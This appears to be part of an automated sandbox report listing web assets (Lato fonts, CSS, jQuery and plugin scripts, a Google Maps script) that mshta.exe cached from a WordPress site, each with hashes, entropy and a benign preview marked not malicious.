?...D...g.z..\fq...(o;LX.`U......J2Q..i..1....9......u....L.mSn.......t...d....).....[L7.0.}.A..E.m.P..F.i'h..........0..Z\...1.{.y..i..*...M@..M.6...h.ha`.`....!.H...K..y._.........t-..C..w.......Zi..P...\.<K...z4Q..\.....:jcU.......F.6.n.......F.>0@.a@.@.........\|.d=...Re..sG..=.= ....X@..G...p;...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\S6u9w4BMUTPHh50XSwiPHQ[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Black family
Category:	downloaded
Size (bytes):	25451
Entropy (8bit):	7.969770648296379
Encrypted:	false
SSDEEP:	768:HoV31fm0ipzey9jR/tzFC+THGz4x8SJG2Xeog:HoVFuNP/3CdSLOt
MD5:	0AD19DEC4DE4F225CBF95946B07F03F0
SHA1:	4ED5339BEAA5683AEAE65BB1E4B48A877EDDBB65
SHA-256:	9D42496620626D2D3AC3022B36A1671BEE2F23B86A147440C92316380FB30BBD
SHA-512:	22A7EC99DD4068291486B54832B895BD0766E5710DC0622FBF0A2FA3A2EB98EF12AB1B37210CAD603DF4709719E051D91F1ACCE17B9DC20E72C410AAE3A7D346
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Preview:	kc..mb............................LP'...J.............. .....7.n....................L.a.t.o. .B.l.a.c.k.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.l.a.c.k.....BSGP.....................A^.G>.3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...l..%HL...a.EY.I.....zF........m.V..O.....x#E...:..T[q;Q....}.@`>..... cu)...4Y.9/.....:.._....d....-.9....NSe...NF.Q.5.(<,..C..F...>..~..p...t.....2.\|5..p.c_.(B...H..%........Ma.3Y..4$o...l .....@6...6.].]....... ......4@..t.B!.2.-.O...&.y.v.....4J@.E...TDCr..)..U..V..%.%.5.....7E.m_x"..<T...Il..O.%Q...x.5......]..fB.< .H..0h`......y..\.y.Q..&...O.........vs......t...\|.GS0...H.:..].t.u......9..LBfb&&..A..L},..P.cOy...B.O%..H..UX<X=X>PCPk...H.Q..!T".A..4/\b..7..!...........W.\|E...n...w0v....j;.....?<..w.Q.r.$$x......oy..O9...^...g@..r....9....vCr..v....m....MPOo..,"..(.E.f...?..d.M..hT.P.u..`d8_#....&.}...\|k...>e...*;>1.O.$.P{..ao.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\S6u9w4BMUTPHh6UVSwiPHQ[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
Size (bytes):	26118
Entropy (8bit):	7.970184406626934
Encrypted:	false
SSDEEP:	768:Il7bajNBleEzCTFhEctniWorQDzlIgJg4Qf06Fzq1qZ:IsjNe2SjtLor6lTcf0yzIqZ
MD5:	57425A0BD70ABEC6F5FD38D3B2507E89
SHA1:	6F7576213E3FCC093C38C96DB22EC701A1E6EAAA
SHA-256:	AB98070851F53310219E56128C117B5BA13BC63B822637B1B1103277C1E3010C
SHA-512:	6AC3F2676A83839DCEE79D501ABDE1FF4F04D818654489A949172800406E5F9034085C861BB4EB734F92478F870C795640C32D087FBCD3F9E25984B30E3A6FE4
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Preview:	.f...e............................LP'...J.............. ....Z.i.....................L.a.t.o.....B.o.l.d...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.o.l.d.....BSGP.....................C..I..4........ZB....D...X,S..O.......l.i...@.`..#....OjOz.....@....Y%hC..9......A..h...0..uH....n-)5.u[....W.u.....EE..j5.0.g......j'[.~.2Nv..le.'V.o.r........P}....c.....J.J.......j.2...>...(.J.:g..W..Q..X...f..).>........./(.%.7(.".......f1.....v9......O4...@..].Kv..'.>......&H.c...0>..9#...}....I+#W....".%p&.Yr.I5.............S..,$...&m.&1. ..!..U..^Y.0413l.9 .Q.........{Csw....f....X.P'.....R216...=E.g.7..T..5..m.>c....C.O.}C.X.../y\.$ ......4.......u.R......R.+..G.S.I.I..D&....b....+.o....[@.#n.4.<.D....$a....y.+....A.K.rF.....`.\.Z.AQG.@mD.......'\|.........80...c..a..5.{..Y8......9.q".!.....R<v...g3....B.T.]>.....#...x...0..<..D.._.=...t.:8....G]..;L...\q.F.C..f._.@..9g..kp...:N.HB..B..}.%..R..T%[.$z

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\S6u9w4BMUTPHh7USSwiPHQ[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Light family
Category:	downloaded
Size (bytes):	24456
Entropy (8bit):	7.962811770770542
Encrypted:	false
SSDEEP:	384:rD2u7JY1e7uWKgCWOv1x21IA3qjRD7yKbev6YyNPpEaQsclWZaXVCqDoH9Hjl9uL:NuW3vOv1sk1DWKC6YyeH9FVCVHJYpTIc
MD5:	D07A3DF5EB89A8BBEA764021336FC851
SHA1:	4168D287AB866CC21F47FC5DCF62B6871DFB210D
SHA-256:	79AD628A22C9AA1A8D30C9F5920D7F432F51804B9750BFE907C3A10D46CDB445
SHA-512:	BA7378D7DBA3C8BBAD610BAAE431339D121B0FE4B2876A1A1E87D9837053F6AC006490B959798B304BA6A96893D0250510FB077D556D2BCA056EE81A2A8970EB
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Preview:	._...^......................,.....LP'...J.............. ......N.....................L.a.t.o. .L.i.g.h.t.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.L.i.g.h.t.....BSGP...................?.@..A..2~....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..nE.'.....`!a.........,~.[A.p2..X.8.\..XO.r..F. N..k..P.[..]ooQ. ...zeX.....q....%4...nR....z.f.L.~6C.c...!..~Wi..V....z....h.......Z.*...&..MOx.N...6....twP,y3....;.b...I..mR.8..........f....9Z$..^....._..'...K..P%.Qz:..A..].....U..l.Z.ci}0.\|. ."'`.<............0x..i..h...Ra.....h.V.v..../C"M..DH. .>.D..J.....U.....c....)"....X..$..0o..?#..a.ep..f..#L.f..F[B.R...!.n..l.4..y..<...1..}..4....F..v.y7..9...<.A.=..>..n3#.`}@j...D.b.....U.r........."....8.9.I......L...t.4....f.&...;D.....u0W.U..^Cy..>..Q..#.OQ[Xn..6...?U.FY....m...)K.AE.(8."...j...^...B....kc]....b.'..;A..v........U.9%.........r.....h..k..K..G..)..^..OwV>!=.w.H....`.v+(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\S6uyw4BMUTPHjx4wWg[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
Size (bytes):	26669
Entropy (8bit):	7.969873501177376
Encrypted:	false
SSDEEP:	384:3o0KhHhcVoBbXSW9jDQfwYejcrqTGOBnhwHAVKnn5DwVGUDucy6RormfvtZk+:YP2Ob/DowqrMnhwHZntuHRy62rmf8+
MD5:	F0AA40EA96D1920A1A96329B4A35EDED
SHA1:	31E6A2EAF78903F0487F2DB6319D7A8E5186C218
SHA-256:	E745A8D2C87907FEE0267896B226BCAD1A2634A8C6826BC284F06875B14F0E60
SHA-512:	B22522660F8C966675003E592DE0A7338BB08E68456BBDF661FFAEC3CB9B33D71C63C870C30A0177A32AA2E1EF5014DF27F57D67AB21690D36FB0FF360722680
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Preview:	-h..7g............................LP'...J.............. ......>.....................L.a.t.o.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .R.e.g.u.l.a.r.....BSGP.....................B..H..3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...d..%HL...a.EY.I....QL...,.#0...m.V.E)...L7.E)......T[t;T.... 0.\y.b{l.d..Jplc.,.......9...K..}.Q..\|..W...3.q..rt..G#W....q....&.V_.bh.ql..z[.>....,. ......1.AfE.....q.2.e...d.....+o>....)..1f..2.~.\|.../.."..k0.).......Bzj"&~.J..pF1V3......Q..&R..H...O`..Z.n.a.h@.e.Z.,<Ex./......%..#C....##...&. ..ub...{..x.h.TA.....0OA:.8....E...}...H...ZN.f...s..g&..~y.Q;9......;.X..S...x..g..I.O.JX.k............!...h_...........Q. .\L.^.f.n.t.\|.Y..j)..G..{.....`.V..ZM.b.+.v-..X.XMQ......A.../..C....N......4Xi..a..e...v..?......=..4O......Og.S`.W.&..w.>...>.....Hu.......5....."...........r.._..M:.k...q..O9....Fy.2.1...y)..[.F4.d~.........0./...^L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\animate-logo[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	81132
Entropy (8bit):	4.724082147516296
Encrypted:	false
SSDEEP:	384:Cy1U1YB94h43181f4E4v2e2oPNPs0v424zVoVI4m48:71U1Q4h43181f4E4m0v424zVoVI4m48
MD5:	B7A9605E1633ACF8180CD3F6C604876D
SHA1:	3FF2D5FE95BD41130BFFDE2211B3CCD43716038A
SHA-256:	1CE4F92F822BDFBCCEAA71C2FCFE760F5228E445DE0C20AEABBB3D93DDDA2644
SHA-512:	66E085703BA9E14C49185FE35329469DE6BF3E4F6A2D3A3BFCDB52E79FAEC9E32657EF073A1F888AFB1A9309C38DC1F9B09F8FE95CF12A34C88782D683CDD52A
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20
Preview:	@charset "UTF-8";..../!..Animate.css - http://daneden.me/animate..Version - 3.4.0..Licensed under the MIT license - http://opensource.org/licenses/MIT....Copyright (c) 2015 Daniel Eden../.....animated {.. -webkit-animation-duration: 1s;.. animation-duration: 1s;.. -webkit-animation-fill-mode: both;.. animation-fill-mode: both;..}.....animated.infinite {.. -webkit-animation-iteration-count: infinite;.. animation-iteration-count: infinite;..}.....animated.hinge {.. -webkit-animation-duration: 2s;.. animation-duration: 2s;..}.....animated.bounceIn,...animated.bounceOut {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}.....animated.flipOutX,...animated.flipOutY {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}....@-webkit-keyframes bounce {.. from, 20%, 53%, 80%, to {.. -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);.. animation-timing-function: cubic-bezier(0.215, 0.61

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\css[3].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato&subset=latin
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\error[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\font-awesome[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	27231
Entropy (8bit):	4.969538355156986
Encrypted:	false
SSDEEP:	384:V4CBhTJwxFGFepFFVofu2NF2advHrGlmBpa/pe:zBEFGFepFvoGOkadvHz3Ke
MD5:	2D53B06F292DCB355B5E1A39EC065054
SHA1:	57CA25A18CBDEDF36973B712BC81F9E3F883A371
SHA-256:	22A22E76F4DE930E54DD33AF00C71B68828847409E5E79787DF5224DD9776C6F
SHA-512:	83C4394957069679994F7C04B1643AF895733E3469B539F9D202934FA5F808D31CB42EDF92029F23E849DEDD45EC50BB90D0009C3FA4450E8E50AB9C832313DA
Malicious:	false
IE Cache URL:	http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Preview:	/!. Font Awesome 3.2.1. * the iconic font designed for Bootstrap. * ------------------------------------------------------------------------------. * The full suite of pictographic icons, examples, and documentation can be. * found at http://fontawesome.io. Stay up to date on Twitter at. * http://twitter.com/fontawesome.. . License. * ------------------------------------------------------------------------------. * - The Font Awesome font is licensed under SIL OFL 1.1 -. * http://scripts.sil.org/OFL. * - Font Awesome CSS, LESS, and SASS files are licensed under MIT License -. * http://opensource.org/licenses/mit-license.html. * - Font Awesome documentation licensed under CC BY 3.0 -. * http://creativecommons.org/licenses/by/3.0/. * - Attribution is no longer required in Font Awesome 3.0, but much appreciated:. * "Font Awesome by Dave Gandy - http://fontawesome.io". . Author - Dave Gandy. * -------------------------------------------------------------

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\jquery-1.7.2.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	94840
Entropy (8bit):	5.372946098601679
Encrypted:	false
SSDEEP:	1536:8YRKUfAjtledhTmtaFyQHGvCXsedOgRc9izzr4yff8teLvHHEjam7W5X3yzSiLnM:VUb6GvCu09s2o2skAieW
MD5:	B8D64D0BC142B3F670CC0611B0AEBCAE
SHA1:	ABCD2BA13348F178B17141B445BC99F1917D47AF
SHA-256:	47B68DCE8CB6805AD5B3EA4D27AF92A241F4E29A5C12A274C852E4346A0500B4
SHA-512:	A684ABBE37E8047C55C394366B012CC9AE5D682D29D340BC48A37BE1A549AECED72DE6408BEDFED776A14611E6F3374015B236FBF49422B2982EF18125FF47DC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Preview:	/! jQuery v1.7.2 jquery.com \| jquery.org/license /.(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTyp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\jquery.easing.1.3[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3300
Entropy (8bit):	5.21640221299254
Encrypted:	false
SSDEEP:	96:daBwwfAxMF8qm9FUAm1Cal7yS06jfkOA/W50UdDiAAlZd:sO2AxMF8qm9Wdcal7yS06jfkOGW50Ud6
MD5:	3720B3CCB887382D0716A49CC52D7901
SHA1:	AEB99C65DFE7E6BA2931AFD762E53579FE372CCD
SHA-256:	605B6FE57753665BD450CCC691B2B32EB508F05D8CB9BD3747D8F37C808990B1
SHA-512:	B7F89F83B51132C5D66E59FEC1DA6793638360B6691151C54D9799E0B58FB2D9E722A48E3014520628EC0771C2BB9703CFE9676DADE5E9F9BA010C62701CCC44
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Preview:	jQuery.easing.jswing=jQuery.easing.swing;.jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:.b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaaa+c:b/2((a-=2)aaaa+2)+c}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\jquery.elastislide[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	6240
Entropy (8bit):	5.090536443525485
Encrypted:	false
SSDEEP:	96:zFWtrmc8bxAo69U8Rb93DCb/f+jrJ6Xj/vBQ61:LW3xgYMn/
MD5:	EAC02BD7783EDAB0F1A0DBEBB32AA8A7
SHA1:	D8D25DFF1DA53BE5A8D200D0BA59944C1FA7281D
SHA-256:	DADD36769DECA1A3720B875DE9624093AE6623DAEBFC5A13061E129C61DFEA24
SHA-512:	D1DD6D2F1CDB7EEEAA3396578038448A2337AB0EFACF884E624D459F1E9870A709C9A18D576327C62DEABB8363C643ED302E3CA4FAC3EAD2C7C82713E58F663B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1
Preview:	(function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),.0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislide.prototype={_init:function

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\js[2].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	168165
Entropy (8bit):	5.477676171156769
Encrypted:	false
SSDEEP:	3072:8HyJLyxofQaFWX69fmQ9z3GUl4ul3cH5aP43rXy:qxoPKPZa43rC
MD5:	C91665E534C4912233EE11CA89675D8E
SHA1:	E1C70351555606E47FD88DFB8F40F7C44593CFCF
SHA-256:	2530BA79FAD584DF4E6D9E8593E3CA2CDE8646EF6BA4ADD3D545846C2730DB10
SHA-512:	F4A47A9303805F2A5D6DFDAABCF79DEBB3848E4195595370068F57669FDEBB9081AC639AD5BA9F361FFB3D4AC53BC515B50D1C981C1EB31A6AD246DA83895FA6
Malicious:	false
IE Cache URL:	http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0
Preview:	..window.google = window.google \|\| {};.google.maps = google.maps \|\| {};.(function() {. . var modules = google.maps.modules = {};. google.maps.__gjsload__ = function(name, text) {. modules[name] = text;. };. . google.maps.Load = function(apiLoad) {. delete google.maps.Load;. apiLoad([0.009999999776482582,[null,[["http://khm0.googleapis.com/kh?v=928\u0026hl=en-US\u0026","http://khm1.googleapis.com/kh?v=928\u0026hl=en-US\u0026"],null,null,null,1,"928",["https://khms0.google.com/kh?v=928\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=928\u0026hl=en-US\u0026"]],null,null,null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["http://khm0.googleapis.com/kh?v=143\u0026hl=en-US\u0026","http://khm1.googleapis.com/kh?v=143\u0026hl=en-US\u0026"],null,null,null,null,"143",["https://khms0.google.com/kh?v=143\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=143\u0026hl=en-US\u0026"]],null,null,null,null,null,null,null,[["https://streetviewpixel

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\main-style[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	70411
Entropy (8bit):	5.127502328619063
Encrypted:	false
SSDEEP:	384:djgWEVPPo2Oe+fAwE+ZLBdOK1yPRFH1gXnSGPEIQS1hEZNx2+:XrOK1yPRAXpbENx/
MD5:	8C58B6C64504AEC029A5EB64FDA110C7
SHA1:	CC0F3354640103B329923BA00054F750578CB78F
SHA-256:	E0AFECC6055391B4B65D6350F8D05387DF73467D3D8C0DC53CC1AC5CB7B639EA
SHA-512:	5B631A9F5E916321BB23D8FD90BF27394591FB83A1BA2CA8E9976A3875FFB0DECC0A97DD64C516D165814F01F909D9B1B4E1D1A008B76F1C1EE8C4A7747B2A8B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Preview:	@import url("../CherryFramework/style.css");.@import url(//fonts.googleapis.com/css?family=Lato:100);.@import url(//fonts.googleapis.com/css?family=Lato:300);.@import url(//fonts.googleapis.com/css?family=Lato:400);.@import url(//fonts.googleapis.com/css?family=Lato:700);.@import url(//fonts.googleapis.com/css?family=Lato:900);..wrap { overflow:hidden; }.h1, h2, h3, h4, h5, h6 { margin-top:0; }.h2 {..font-weight:100 !important;..text-shadow:0 0 0 rgba(0,0,0,0);.}.h2 strong { font-weight:900 !important; }.h3 { font-weight:900 !important; }.a {..-webkit-transition:all 0.5s ease;..-moz-transition:all 0.5s ease;..-o-transition:all 0.5s ease;..transition:all 0.5s ease;.}.a:hover { text-decoration:none; }..header {..width:100%;..position:absolute;..top:0;..padding:23px 0 20px;..border:none;..background:#fff;.}.@media (max-width: 767px) {...header {...width:auto;...padding-left:20px;...padding-right:20px;...position:relative !important;..}.}..header:after {..content:'';..position:absolute;..b

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\responsive[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	21945
Entropy (8bit):	4.998283618348646
Encrypted:	false
SSDEEP:	384:vDi+XnHtUrZKt+uSmu+c30r8SGCxGfGYb/0EUN0QT0z8lFLiFHM:LiOnHtUrZKtqOI0ISGCxGfGYb/0Ery0C
MD5:	56879E9EF909D5CF8DEF84297B5AC6B4
SHA1:	097D5726A7053C1E9E20FCFE6FFA771F2D6DE573
SHA-256:	8A1D0F12B448B5065CBE1E76F5D2DF0364E9E9A2CAE98E9419215CAD62FB1892
SHA-512:	E7ACA508BE1EB31411887C3DD64ABBC47AB39C3C217E924D89245A084404AF350C2B6693721BD06CF9CCF8DE263189BC2C80FD1C1E86A8D10147FBC27FF7770B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
